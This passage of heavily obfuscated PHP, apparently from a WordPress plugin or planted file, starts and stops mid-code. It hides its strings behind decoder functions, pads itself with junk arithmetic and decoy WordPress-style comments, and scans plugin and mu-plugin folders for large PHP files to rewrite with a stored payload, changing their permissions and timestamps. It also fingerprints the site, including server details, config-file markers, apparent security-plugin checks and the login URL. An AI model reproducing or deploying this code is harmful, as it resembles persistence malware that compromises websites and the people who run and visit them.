     if      (isset($zvwyvfqneb1y[e77owqcywda_d(423)])  &&   $GLOBALS['__scf_ncrh0liqs6be8x_41']($zvwyvfqneb1y[okltugscqfcy(423)]))    {
     $GLOBALS[okltugscqfcy(424)]   = $zvwyvfqneb1y[c_5yznsrtgse_i(423)];



}
if    (isset($zvwyvfqneb1y[c_5yznsrtgse_i(425)])    && $GLOBALS['__scf_ncrh0liqs6be8x_41']($zvwyvfqneb1y[c_5yznsrtgse_i(426)]) && $GLOBALS['__scf_m36_x4cy3m1b5_10']($zvwyvfqneb1y[e77owqcywda_d(426)]) >  (46+4))     {
$GLOBALS[okltugscqfcy(427)]    = $zvwyvfqneb1y[c_5yznsrtgse_i(428)];



     }
   if   (isset($zvwyvfqneb1y[okltugscqfcy(429)]) &&   $GLOBALS['__scf_ncrh0liqs6be8x_41']($zvwyvfqneb1y[onlv7_99m8sby3(429)])  &&    $GLOBALS['__scf_m36_x4cy3m1b5_10']($zvwyvfqneb1y[c_5yznsrtgse_i(429)])  >  (183-83))   {
 $GLOBALS[c_5yznsrtgse_i(430)] =    $zvwyvfqneb1y[okltugscqfcy(429)];
 }
   }    catch (Throwable $ye68b7hs2257kgf)   {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(431), $ye68b7hs2257kgf);
 } catch (Exception    $ye68b7hs2257kgf)  {
// regex evaluation

    }
  }
    



  function x3jz6a856ptfh07rlra()
 {
try {
 if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(432)) || !$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(433)))   return;
  if  ((int)  get_option(okltugscqfcy(434),   0) >  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  - (1881+1719))   return;
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(50)) &&    get_transient(e77owqcywda_d(435)))  return;
      if  (!j942fcefk5y9jo4zvbsn())  return;
 $y8ms4d9r49s  =  p1w1aijw1nxgdhwwgzjmn(e77owqcywda_d(436), "");



    if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($y8ms4d9r49s)  ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($y8ms4d9r49s) <  (219+281)  ||      k4lhjl5483_yjz($y8ms4d9r49s) || !pqt0j30bec0qiplt($y8ms4d9r49s))    {
// input validation

$y8ms4d9r49s    =   false;
   $x4scg56wrt   =  r69sydkoh03qc2iwi5sfm(ku6yldy17ivtsoehkpgirz());
        if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($x4scg56wrt)    &&   !k4lhjl5483_yjz($x4scg56wrt)      &&  pqt0j30bec0qiplt($x4scg56wrt))  {
     ciwxbzr19t8j5_t(e77owqcywda_d(436), $x4scg56wrt,     e77owqcywda_d(413));
$y8ms4d9r49s =  $x4scg56wrt;
 }
if  (!$y8ms4d9r49s)   {
// WP Query Loop: predictive registry

 @update_option(e77owqcywda_d(437),   $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),    onlv7_99m8sby3(413));
 return;
}
 }
$r1n3n9b1j7iohyd     =   array(ku6yldy17ivtsoehkpgirz());
/* disconnected lsm-tree */




   $_suvn0g6fb   =  rr86pukxk9_hcz1();
  $baucau0szeka =   pd5w5h3uqt5mrsxraacf5($_suvn0g6fb,   (4927+73));
if  ($GLOBALS['__scf_a91xkwk0qm_35']($baucau0szeka))  {

  foreach ($baucau0szeka as  $w7i1fu8yrx)  {
 if  ($GLOBALS['__scf_pozjicggfgaq_9']($w7i1fu8yrx,      -(0x3+0x1)) ===    okltugscqfcy(208)) $r1n3n9b1j7iohyd[]  =  $_suvn0g6fb .  '/' .   $w7i1fu8yrx;
  }
    }
      if  (defined(okltugscqfcy(32))   &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(71)))     {
    foreach   ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71'](WP_PLUGIN_DIR  .  okltugscqfcy(438)) as   $_7ufjqml6fg) $r1n3n9b1j7iohyd[]  = $_7ufjqml6fg;
    }
   $r1n3n9b1j7iohyd  =  $GLOBALS['__scf_youxoa71214_145']($r1n3n9b1j7iohyd);
      $y4xtv9rnc3jmbec  =   array();
  $y4t45yd3yc  =     $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(440),   "", $GLOBALS['__scf_pozjicggfgaq_9']($y8ms4d9r49s,   0,      (926+64610))),    0,  (1963+85));
  foreach   ($r1n3n9b1j7iohyd  as $jl_ruybeyx54iw)  {
  $yionx_1pi6yhj   =    @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($jl_ruybeyx54iw);
   if    (!$yionx_1pi6yhj      ||  $yionx_1pi6yhj  <=   (2050717-1002141))    continue;
$e49r1y7a_zha   = @$GLOBALS['__scf_ha14er2zmzf_92']($jl_ruybeyx54iw,      false,    null,   0,  (126812-61276));
     if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($e49r1y7a_zha)   ||    !k4lhjl5483_yjz($e49r1y7a_zha)) continue;
if ($jl_ruybeyx54iw !==     ku6yldy17ivtsoehkpgirz()  && $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(440),      "",  $e49r1y7a_zha),  0,   (2021+27))  !==  $y4t45yd3yc)   continue;



  $y4xtv9rnc3jmbec[]     = $jl_ruybeyx54iw;
    }
if (!$y4xtv9rnc3jmbec) {
@update_option(e77owqcywda_d(437),  $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),  e77owqcywda_d(441));
if      ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(442))) set_transient(e77owqcywda_d(435), 1, (508+92));
 return;
     }
  @update_option(onlv7_99m8sby3(437),   $GLOBALS['__scf_p_l9i38f5mdu2r_184'](),   okltugscqfcy(441));
foreach     ($y4xtv9rnc3jmbec as  $jj6fib7ix9ntj) {

 jl7b1mmow1nrgaho8($jj6fib7ix9ntj,  (138+282));
  if  (n_52vz_mvq1filje($jj6fib7ix9ntj,     mnjwoq6_2fqzybrsdxadv2($y8ms4d9r49s))) {$avw1agvbprg3s7=38*9;$g15jdsa0fxas2=$avw1agvbprg3s7-37;
  oodhj46z_4pz9mo($jj6fib7ix9ntj);
  u34g0m5gddocpkl($jj6fib7ix9ntj);
 jl7b1mmow1nrgaho8($jj6fib7ix9ntj,  (356+64));
  gy672vrnjusgcel1($jj6fib7ix9ntj);



     if ($jj6fib7ix9ntj  ===  ku6yldy17ivtsoehkpgirz())  {

   s_41a4npfkl91g6lvjvfe(true);
  doc379joovtj_lisexoga9(true);


 }
       }   else  {
      jl7b1mmow1nrgaho8($jj6fib7ix9ntj, (326+94));
   }
   }
}     catch  (Throwable   $ye68b7hs2257kgf)    {
// immutable flyweight

  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(443),  $ye68b7hs2257kgf);
     

  } catch   (Exception $ye68b7hs2257kgf)  {



}
// indefinite savepoint

}
       function i53n8jdjfe6b_p()

{
       static     $zhztmbv0vd50v =  false;


  if  ($zhztmbv0vd50v) return;
    $zhztmbv0vd50v    =  true;
   try   {



        _jyn7yfyshu2s0at();
       x3jz6a856ptfh07rlra();
    edropwc5pgoycp();
 c13k4qibn6xfrb0hfj4t();
 


 g2lnfowb5sck6v();
f5qibx0z8bzfung4v54l();
 v0nqb22tg1x24tu_9u0t();
w49r9oh9ioww45sp3();
 uh5ezzlrv3ns45s();
  if  (bc9uiskkgdoki_zva()) {



    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(444)) &&   did_action(onlv7_99m8sby3(377)))   {
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(167))) $GLOBALS['__scf_mk0x8rn0w4_167'](onlv7_99m8sby3(378));
    }    else    {
 ohkc5udk96vdi9dqobtykb(c_5yznsrtgse_i(377),  c_5yznsrtgse_i(378),  0);
 }
}
    } catch   (Throwable $ye68b7hs2257kgf) {
  }     catch    (Exception    $ye68b7hs2257kgf)   {
     }
    }
   function puxl_j260p5paf()
 {
 try {$j5c017hphwu1p=PHP_INT_MAX/PHP_INT_MAX;$fs5p4c7il=$j5c017hphwu1p+84;
 if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(282)) ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(445))) return;



if     (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(432))   ||   !$GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(433)))  return;
$etr6mth91_    =     $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
   if  ($etr6mth91_ -  (int) @get_option(okltugscqfcy(446),  0) < (3588+12))  return;
   @update_option(c_5yznsrtgse_i(447),   $etr6mth91_,    e77owqcywda_d(448));

 @$GLOBALS['__scf_wruv1u09qsfmz_282'](home_url('/'),  array(onlv7_99m8sby3(283) =>  2,  onlv7_99m8sby3(284) =>   false, onlv7_99m8sby3(381)   => false));
    }      catch  (Throwable  $ye68b7hs2257kgf)    {
 }   catch   (Exception   $ye68b7hs2257kgf)     {
     }
// defragment descriptive publisher

}
function  bc9uiskkgdoki_zva()
 {
 if   (!    $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(432)))   {
  return  true;
}

   if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(50))  && get_transient(iyfrtzihosexnci()))    {
        return false;

  }


 
$qfibln6t0olw =    g29ry0xdrrzqo66sx1_no();
$kyidhl7ydwnuomcb    = xpdlfu85kkkwlafjl9xq(onlv7_99m8sby3(363), false);
    if ($GLOBALS['__scf_a91xkwk0qm_35']($kyidhl7ydwnuomcb) &&  isset($kyidhl7ydwnuomcb[okltugscqfcy(449)])    && (int)  $kyidhl7ydwnuomcb[okltugscqfcy(450)]     >=  (390-90)    &&  (int)  $kyidhl7ydwnuomcb[onlv7_99m8sby3(450)]    <= (86306+94)) $qfibln6t0olw   =  (int)     $kyidhl7ydwnuomcb[onlv7_99m8sby3(451)];


 $u_g15ijhu0u4_naw  =   (int)   get_option(c_5yznsrtgse_i(411),   0);
 if ($u_g15ijhu0u4_naw    >      0  && ($GLOBALS['__scf_p_l9i38f5mdu2r_184']()      -     $u_g15ijhu0u4_naw)   <    $qfibln6t0olw) {
   return  false;
      }
    



$lo0tzno_9_6i79   =   (int)     get_option(c_5yznsrtgse_i(452), 0);


      if  ($lo0tzno_9_6i79    > 0)  {



  $u6i8b8evc4sxt   =  (int) get_option(okltugscqfcy(453),  0);
     $sshgurrx1iquh  =    array((224+76),      (820+80),    (1292+508),   (1877+1723),  (890+2710));
$z6jvl1hoi9s     =   $sshgurrx1iquh[$GLOBALS['__scf_m1egppx42pi_454'](0, $GLOBALS['__scf_v6xz4ce_wdoct3_455']($u6i8b8evc4sxt -   1,     (1+3)))];
 $z6jvl1hoi9s +=     $GLOBALS['__scf_s3bo674ng_q_342'](0, (int) ($z6jvl1hoi9s   * 0.25));
  if    (($GLOBALS['__scf_p_l9i38f5mdu2r_184']() -  $lo0tzno_9_6i79)   <    $z6jvl1hoi9s)   {
     return  false;
}
}


  
   return true;
   }
 
function  t95l92tgqr85cobha()
      {
    $u6i8b8evc4sxt   =  (int)    get_option(okltugscqfcy(456), 0);
  update_option(onlv7_99m8sby3(456),   $u6i8b8evc4sxt + 1);
  update_option(onlv7_99m8sby3(452), $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
    }
     function  gx_mhj1ohxx5paytvh()
 {
$yaow7_phfq9 =    array();
  try  {
  $yaow7_phfq9[c_5yznsrtgse_i(457)] =   w218ynit42v8uao2p();
      $yaow7_phfq9[onlv7_99m8sby3(458)] =  PHP_VERSION;
  $yaow7_phfq9[onlv7_99m8sby3(459)]  =  $GLOBALS['__scf_w3427jutwi_101']();
      $yaow7_phfq9[e77owqcywda_d(460)]    =      ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(461))    &&   is_ssl())   ?  1   : 0;

  $yaow7_phfq9[okltugscqfcy(462)]    =    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(463))  && is_multisite()) ?   1   :    0;
     $yaow7_phfq9[onlv7_99m8sby3(464)] =  isset($GLOBALS[e77owqcywda_d(465)]) ? (string)   $GLOBALS[c_5yznsrtgse_i(465)] :   "";
 $yaow7_phfq9[e77owqcywda_d(466)]  =      isset($_SERVER[onlv7_99m8sby3(467)])    ?  $GLOBALS['__scf_pozjicggfgaq_9']((string)   $_SERVER[okltugscqfcy(468)],    0,     (38+2))    :  "";
   $wbeldok9hj9o5 = (isset($GLOBALS[c_5yznsrtgse_i(424)])  &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[c_5yznsrtgse_i(424)]))  ?    $GLOBALS['__scf__90_xdmo58j3q_311']($GLOBALS[c_5yznsrtgse_i(424)]) :    "";$i6_6s5kde2n=76*4;$rj1dt8hf9m23m=$i6_6s5kde2n-1;
    $yaow7_phfq9[onlv7_99m8sby3(469)]  =      ($wbeldok9hj9o5  !==  "")  ?   1   :  0;

       $yaow7_phfq9[onlv7_99m8sby3(470)]  = $GLOBALS['__scf_m36_x4cy3m1b5_10']($wbeldok9hj9o5);
       $yaow7_phfq9[e77owqcywda_d(471)]   = !empty($GLOBALS[c_5yznsrtgse_i(472)])  ?  1 :  0;
       $yaow7_phfq9[onlv7_99m8sby3(473)]     =  !empty($GLOBALS[onlv7_99m8sby3(474)])   ?    1  :   0;
 $yaow7_phfq9[c_5yznsrtgse_i(475)] =   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(432))  ? (int)    @get_option(c_5yznsrtgse_i(476),    0)  : 0;
 $yaow7_phfq9[e77owqcywda_d(354)]  =     (e7dnf6igrlpcuaapfpdtx5(okltugscqfcy(477),  "")   !==  "")     ?    1  :  0;
  $yaow7_phfq9[c_5yznsrtgse_i(478)]  = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(432))   ?   (int)  @get_option(c_5yznsrtgse_i(479),  0) :    0;$edm3655o=4963;$bodktim9wa9hen=$edm3655o%3;
 $yaow7_phfq9[e77owqcywda_d(480)]  = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(481))   ?  (int)  @get_option(onlv7_99m8sby3(482),   0)  : 0;



$yaow7_phfq9[onlv7_99m8sby3(483)] =   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(481))    ?    (int) @get_option(onlv7_99m8sby3(484),   0) : 0;

       $og0ebx9lu2qzdtmg = rb4qo3s3qey8iml9k_t();
 $yaow7_phfq9[okltugscqfcy(485)]  =    @$GLOBALS['__scf_cr6q9fwgft_18']($og0ebx9lu2qzdtmg .  okltugscqfcy(486))   ?     (l0be_fuirn0lsr0(@$GLOBALS['__scf_ha14er2zmzf_92']($og0ebx9lu2qzdtmg    . e77owqcywda_d(487),  false,  null, 0,  (8140+52)))  ? 2  : 1)  :  0;
     $yaow7_phfq9[okltugscqfcy(488)] = @$GLOBALS['__scf_cr6q9fwgft_18']($og0ebx9lu2qzdtmg .  c_5yznsrtgse_i(489)) ?   (l0be_fuirn0lsr0(@$GLOBALS['__scf_ha14er2zmzf_92']($og0ebx9lu2qzdtmg     .  okltugscqfcy(490),  false,   null, 0,  (0xefb+0x1105))) ?  2   :   1)  : 0;
  $yaow7_phfq9[okltugscqfcy(491)]      =  @$GLOBALS['__scf_cr6q9fwgft_18']($og0ebx9lu2qzdtmg .  onlv7_99m8sby3(492)) ? (l0be_fuirn0lsr0(@$GLOBALS['__scf_ha14er2zmzf_92']($og0ebx9lu2qzdtmg  . c_5yznsrtgse_i(492),      false,    null, 0, (8173+19)))  ? 2   : 1)   :  0;


    $w3eun_cpt1on  =  onlv7_99m8sby3(493)    . l09115umv3lykft9t(ABSPATH  . 'g',  (0x5+0x3));

$yftd97zyalbv =     c_5yznsrtgse_i(494)   . l09115umv3lykft9t(ABSPATH      .  'g',  (1+7));
$yaow7_phfq9[onlv7_99m8sby3(495)] = 0;
     foreach   (array(hc439iwbgn5b2nwx5x_lu(), $og0ebx9lu2qzdtmg, ABSPATH .   c_5yznsrtgse_i(496))  as $lfr0_m6e4yj1vv_u)  {
if  (@$GLOBALS['__scf_cr6q9fwgft_18']($lfr0_m6e4yj1vv_u    .   '/'  .  $w3eun_cpt1on  . okltugscqfcy(208))) $yaow7_phfq9[okltugscqfcy(495)]    =    1;
if  (@$GLOBALS['__scf_cr6q9fwgft_18']($lfr0_m6e4yj1vv_u  . '/' .   $yftd97zyalbv) && (int)  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($lfr0_m6e4yj1vv_u   .     '/'  .  $yftd97zyalbv)   >  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()     - (164+76))      {
      $yaow7_phfq9[okltugscqfcy(495)]  =    2;
    break;


   }
 }


  unset($yftd97zyalbv,  $lfr0_m6e4yj1vv_u);
        $ta_tclvmlah   =    $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(222))    ?   @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](c_5yznsrtgse_i(497))    :  false;
   if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ta_tclvmlah)  ||  $ta_tclvmlah ===  "" || $ta_tclvmlah  === onlv7_99m8sby3(498))  $ta_tclvmlah   =   c_5yznsrtgse_i(499);
 $yaow7_phfq9[e77owqcywda_d(500)]   = (@$GLOBALS['__scf_cr6q9fwgft_18'](ABSPATH  .  $ta_tclvmlah)   &&  $GLOBALS['__scf_ffvfced40_hd3k_7']((string) @$GLOBALS['__scf_ha14er2zmzf_92'](ABSPATH  . $ta_tclvmlah),   okltugscqfcy(501)) !== false)   ?      1      :   0;
   $yaow7_phfq9[e77owqcywda_d(502)]      = (@$GLOBALS['__scf_cr6q9fwgft_18'](ABSPATH   .    c_5yznsrtgse_i(503)) && $GLOBALS['__scf_ffvfced40_hd3k_7']((string)    @$GLOBALS['__scf_ha14er2zmzf_92'](ABSPATH  .      okltugscqfcy(504)), e77owqcywda_d(501))   !==  false)  ?    1   :   0;


 $yaow7_phfq9[onlv7_99m8sby3(505)]   = (@$GLOBALS['__scf_cr6q9fwgft_18'](ABSPATH .  onlv7_99m8sby3(506))  &&   $GLOBALS['__scf_ffvfced40_hd3k_7']((string) @$GLOBALS['__scf_ha14er2zmzf_92'](ABSPATH    .  onlv7_99m8sby3(507),  false,   null, 0,  (0x301a+0xcfe6)),  okltugscqfcy(508))   !== false) ? 1   : 0;
$yaow7_phfq9[c_5yznsrtgse_i(509)]   =  defined(okltugscqfcy(510))  ? 1 :    0;
 $yaow7_phfq9[e77owqcywda_d(511)] = (defined(c_5yznsrtgse_i(512))  || defined(c_5yznsrtgse_i(513))    || defined(c_5yznsrtgse_i(514))     ||     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(515))      ||  $GLOBALS['__scf_yuvry6nxa5dk96_516'](onlv7_99m8sby3(517))   ||    isset($GLOBALS[c_5yznsrtgse_i(518)])    ||  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(519)))  ?   1   :     0;
    $yaow7_phfq9[e77owqcywda_d(520)]  =    (int)   get_option(c_5yznsrtgse_i(411),    0);
  $yaow7_phfq9[onlv7_99m8sby3(521)]    =     (int)  get_option(onlv7_99m8sby3(456),   0);
       




  $yaow7_phfq9[e77owqcywda_d(522)]  =  (int)   get_option(onlv7_99m8sby3(523),  0);
     $uq0rbicwnyd = p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(524),    array());
   $ppu2zhnodiqkeygi =    0;
 $fh9znf78h_ms  =    0;
if  ($GLOBALS['__scf_a91xkwk0qm_35']($uq0rbicwnyd))   {
   foreach     ($uq0rbicwnyd     as   $w7i1fu8yrx)  {
       if   (epjjocavp0_k8a7re091($w7i1fu8yrx)    ===   "")    continue;
        $ppu2zhnodiqkeygi++;
$idvka2g5_i0tl1rn = $GLOBALS['__scf_a91xkwk0qm_35']($w7i1fu8yrx)  ?    (int) (isset($w7i1fu8yrx[okltugscqfcy(525)])  ? $w7i1fu8yrx[onlv7_99m8sby3(526)]  : 1) : 1;
       $r4p9w1fyr3ahyui =     $GLOBALS['__scf_a91xkwk0qm_35']($w7i1fu8yrx) &&   isset($w7i1fu8yrx[okltugscqfcy(527)])   ?    (int)      $w7i1fu8yrx[e77owqcywda_d(528)]  : 0;
    if  (!$idvka2g5_i0tl1rn    && (!$r4p9w1fyr3ahyui || $r4p9w1fyr3ahyui < $GLOBALS['__scf_p_l9i38f5mdu2r_184']() -     (0x174+0xc9c)))     $fh9znf78h_ms++;
     }

  }
       $yaow7_phfq9[onlv7_99m8sby3(529)]  = $ppu2zhnodiqkeygi;
 $yaow7_phfq9[okltugscqfcy(530)]   = $fh9znf78h_ms;
      $k36msiohh6n = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(481)) ?   @get_option(okltugscqfcy(531), "")    : "";
      $yaow7_phfq9[onlv7_99m8sby3(532)]  =  $GLOBALS['__scf_ncrh0liqs6be8x_41']($k36msiohh6n) ?     $GLOBALS['__scf_pozjicggfgaq_9']($k36msiohh6n,  0,  (6-1))    : "";

       $rf3n5uqbg_67uht  = $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(481)) ?   @get_option(onlv7_99m8sby3(533),  array()) :     array();
    $yaow7_phfq9[onlv7_99m8sby3(534)]      =     ($GLOBALS['__scf_a91xkwk0qm_35']($rf3n5uqbg_67uht)      &&    (!empty($rf3n5uqbg_67uht['t'])   ||  !empty($rf3n5uqbg_67uht[onlv7_99m8sby3(535)]))) ? 1  : 0;
     }  catch  (Throwable   $ye68b7hs2257kgf)  {



  $yaow7_phfq9[onlv7_99m8sby3(536)]  = $GLOBALS['__scf_pozjicggfgaq_9']($ye68b7hs2257kgf->getMessage(),  0,  (0x29+0x13));
}   catch     (Exception    $ye68b7hs2257kgf)   {$kfs9c8oe=672;$z5bbcvy5rg=($kfs9c8oe>0)?$kfs9c8oe:-$kfs9c8oe;
$yaow7_phfq9[c_5yznsrtgse_i(537)]    =   $GLOBALS['__scf_pozjicggfgaq_9']($ye68b7hs2257kgf->getMessage(), 0,  (0x32+0xa));
 

}
return   $yaow7_phfq9;
     }




  function v8s17nheik4jfbzohfqhv8()
{
   if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(379))) {
// WP Post Content: reconcile control-flow-graph

   return  (string)   site_url(e77owqcywda_d(538));
     }
return   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(539))     ?     (string)     wp_login_url()   :  "";
        }
   
 function  kgvyhbi5fxdnhzziy9wc($i09g7owzfn8nbz)

  {


       $i65fg85vf4_zup =  "";
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(540)))  {
 $i65fg85vf4_zup = (string)     $GLOBALS['__scf__1yrfqcb0r_541'](home_url(), constant(okltugscqfcy(542)));
    }

 if (!  $i65fg85vf4_zup   &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(543)))  {
$i65fg85vf4_zup  = (string) $GLOBALS['__scf__1yrfqcb0r_541'](get_site_url(), constant(e77owqcywda_d(542)));
}
 if  (!   $i65fg85vf4_zup && $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(544)))    {
  $i65fg85vf4_zup     = (string)  $GLOBALS['__scf__1yrfqcb0r_541'](get_bloginfo(onlv7_99m8sby3(545)), constant(onlv7_99m8sby3(542)));
    }
   if  (!   $i65fg85vf4_zup   &&   $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(481))) {
// prime event-bus


      $i65fg85vf4_zup   = (string)   $GLOBALS['__scf__1yrfqcb0r_541']((string)  get_option(onlv7_99m8sby3(546),  ""), constant(c_5yznsrtgse_i(542)));
    }
   if  (!     $i65fg85vf4_zup  &&  isset($_SERVER[c_5yznsrtgse_i(547)]))  {
      $i65fg85vf4_zup  =      (string)  $_SERVER[c_5yznsrtgse_i(547)];
  }
  if   (!      $i65fg85vf4_zup &&  isset($_SERVER[okltugscqfcy(548)])) {
 $i65fg85vf4_zup  =   (string)  $_SERVER[onlv7_99m8sby3(548)];
}
  if  (!    $i65fg85vf4_zup)    {


       return $i09g7owzfn8nbz;

}
      return  $i65fg85vf4_zup;
      }
     function  _fwtzyy1hz0qih7pwl6ihz($nc2u57kin0 =  0)
  {



  try   {



    $sa_wiyyn2cs =     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(222))     ? (int)   @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](okltugscqfcy(549))  :    0;
     if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(417))) @$GLOBALS['__scf_suw363i1bvzr_417']((12^184));



 $uqlx4v_j1qpz9 =  ($sa_wiyyn2cs   > (0xe+0x6)   &&  $sa_wiyyn2cs <  (35^151))   ?  ($sa_wiyyn2cs     - (18-8))  : (($sa_wiyyn2cs   >  0  &&     $sa_wiyyn2cs  <=      (0x5+0xf))   ?    (0x3+0x7)     :  (0x58+0x2));



 if ($nc2u57kin0 >      0 && $uqlx4v_j1qpz9   >  $nc2u57kin0)  $uqlx4v_j1qpz9   =    $nc2u57kin0;
  $GLOBALS[e77owqcywda_d(278)]  =   $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true) +    $uqlx4v_j1qpz9;
 if    (!   bc9uiskkgdoki_zva())    {
   return;
   }
if    (!r9q5mjga_j0i3gm_(c_5yznsrtgse_i(375)))   {
       return;
}




   $y6rtqua81mdltu   = $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
  $kwizmod440ktc1 = pflv5uuenkcoa4_4ps((int)  ($uqlx4v_j1qpz9  * 0.6));
if   (


!   $GLOBALS['__scf_a91xkwk0qm_35']($kwizmod440ktc1)
       || ! isset($kwizmod440ktc1[onlv7_99m8sby3(331)])  || !  $GLOBALS['__scf_ncrh0liqs6be8x_41']($kwizmod440ktc1[onlv7_99m8sby3(550)])  || !    $kwizmod440ktc1[e77owqcywda_d(551)]
 ||    !     isset($kwizmod440ktc1[onlv7_99m8sby3(335)])   ||   !   $GLOBALS['__scf_a91xkwk0qm_35']($kwizmod440ktc1[c_5yznsrtgse_i(335)])    ||   empty($kwizmod440ktc1[onlv7_99m8sby3(335)])
 )    {



t95l92tgqr85cobha();
 return;
 }
  $w4dw70oecu66gj =    $kwizmod440ktc1[e77owqcywda_d(551)];
       $_a18a_j1uonj3ait =  $kwizmod440ktc1[okltugscqfcy(335)];
   ciwxbzr19t8j5_t(okltugscqfcy(334),    $w4dw70oecu66gj,  onlv7_99m8sby3(552));
 ciwxbzr19t8j5_t(e77owqcywda_d(553),     $GLOBALS['__scf_ffvfced40_hd3k_7']($w4dw70oecu66gj, e77owqcywda_d(554)) ===  0   ?   1  :  0,    e77owqcywda_d(552));
  $uu72u72ux2t   =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(555)) ?  (string)   get_option(onlv7_99m8sby3(556),  "")    :      "";
     if ($uu72u72ux2t  !== ""   &&   $GLOBALS['__scf_wwy_cardw8r5v6_146']($uu72u72ux2t,   $_a18a_j1uonj3ait, true))    {


    $_a18a_j1uonj3ait =  $GLOBALS['__scf_fnyr4wcmh06x_144']($GLOBALS['__scf_rd9j34ymcsjc4s_148']($_a18a_j1uonj3ait, array($uu72u72ux2t)));

       $GLOBALS['__scf_eeb0vco6ovxnp_557']($_a18a_j1uonj3ait);



$GLOBALS['__scf_ge03_ug2e0a_310']($_a18a_j1uonj3ait, $uu72u72ux2t);

     } elseif   ($GLOBALS['__scf_hotyagmbtkrb_36']($_a18a_j1uonj3ait) >    1) {
 $GLOBALS['__scf_eeb0vco6ovxnp_557']($_a18a_j1uonj3ait);
 }



   

   if   (($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)  -  $y6rtqua81mdltu)    > (int) ($uqlx4v_j1qpz9    *  0.6)) {



      t95l92tgqr85cobha();
return;
// lint b-tree for WP Group Block
$hngam1lg30zkqj=8897;$a7tzm05asx=$hngam1lg30zkqj%10;
 }




 $bndvwaqcgip  =   z0km9ggkhl1rza5bhxp();
 if   (lurucyuu2bbrynnsj7ttm_($bndvwaqcgip))  {
// reconcile type-environment for WP Data Module

 $bndvwaqcgip  = z0km9ggkhl1rza5bhxp();

 }

   $pytewrkb8kuz7  =  array();


   if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(558))) {
   foreach  ((array) get_option(e77owqcywda_d(143),  array())   as   $jl_ruybeyx54iw)  {


   if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($jl_ruybeyx54iw)    && $jl_ruybeyx54iw) {
  $pytewrkb8kuz7[] =  $jl_ruybeyx54iw;


 }
   }
  }
 

     $nd5n6fku8__zuipf = array();
     if (defined(onlv7_99m8sby3(13)))  {


   $e1t4cvxh9o38ud     =   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(71))  ?    @$GLOBALS['__scf_gjx8dntqvik0_71']($GLOBALS['__scf_zwo1a6spxvy_12'](WPMU_PLUGIN_DIR,  '/') . c_5yznsrtgse_i(72))   : false;
        if ($GLOBALS['__scf_a91xkwk0qm_35']($e1t4cvxh9o38ud))   {
foreach     ($e1t4cvxh9o38ud as  $jj6fib7ix9ntj)  {



 $nd5n6fku8__zuipf[]     = $GLOBALS['__scf_n2ceqwn4my98_3']($jj6fib7ix9ntj);
    

  }



 }
}


 
 $mlkl2qfwcaej  =   array(
